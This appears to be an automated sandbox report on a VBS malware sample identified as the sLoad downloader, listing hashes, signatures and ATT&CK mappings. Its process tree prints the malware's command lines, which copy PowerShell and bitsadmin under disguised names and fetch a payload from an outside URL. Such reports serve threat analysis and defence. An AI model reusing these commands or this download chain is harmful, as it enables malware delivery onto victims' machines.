Analysis

  • max time kernel
    28s
  • max time network
    29s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    11-01-2021 08:44

General

  • Target

    Allegato_doc_02613440060.vbs

  • Size

    8KB

  • MD5

    6266da42dda2a91e97c63181b85b26d4

  • SHA1

    2a0673cc7ea00b5187dac046b906aa1018317236

  • SHA256

    12bad94c43427bae4e3855ebdd60d32d7a6305f108a811ead926950450ec503b

  • SHA512

    fed5ca3e0b5f2214d12c6e8e6d86b6f96589e4629a588bb91cb3df90e3f20c17bb0413f9cbc1683a64642a5b2aa1ddc3ce2a59bb674febe28676c5a5157913c6

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_doc_02613440060.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:844
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:904
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe
        3⤵
          PID:2016
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe
          3⤵
            PID:1788
        • C:\ProgramData\NXBtfaYin.exe
          "C:\ProgramData\NXBtfaYin.exe" /transfer vQtoGc /download https://ladiesincode.com/ladi/02613440060/maps.png C:\Users\Admin\AppData\Roaming\maps.png
          2⤵
          • Executes dropped EXE
          PID:1728

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\NXBtfaYin.exe
        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • C:\ProgramData\NXBtfaYin.exe
        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • memory/904-2-0x0000000000000000-mapping.dmp
      • memory/1728-6-0x0000000000000000-mapping.dmp
      • memory/1788-4-0x0000000000000000-mapping.dmp
      • memory/2016-3-0x0000000000000000-mapping.dmp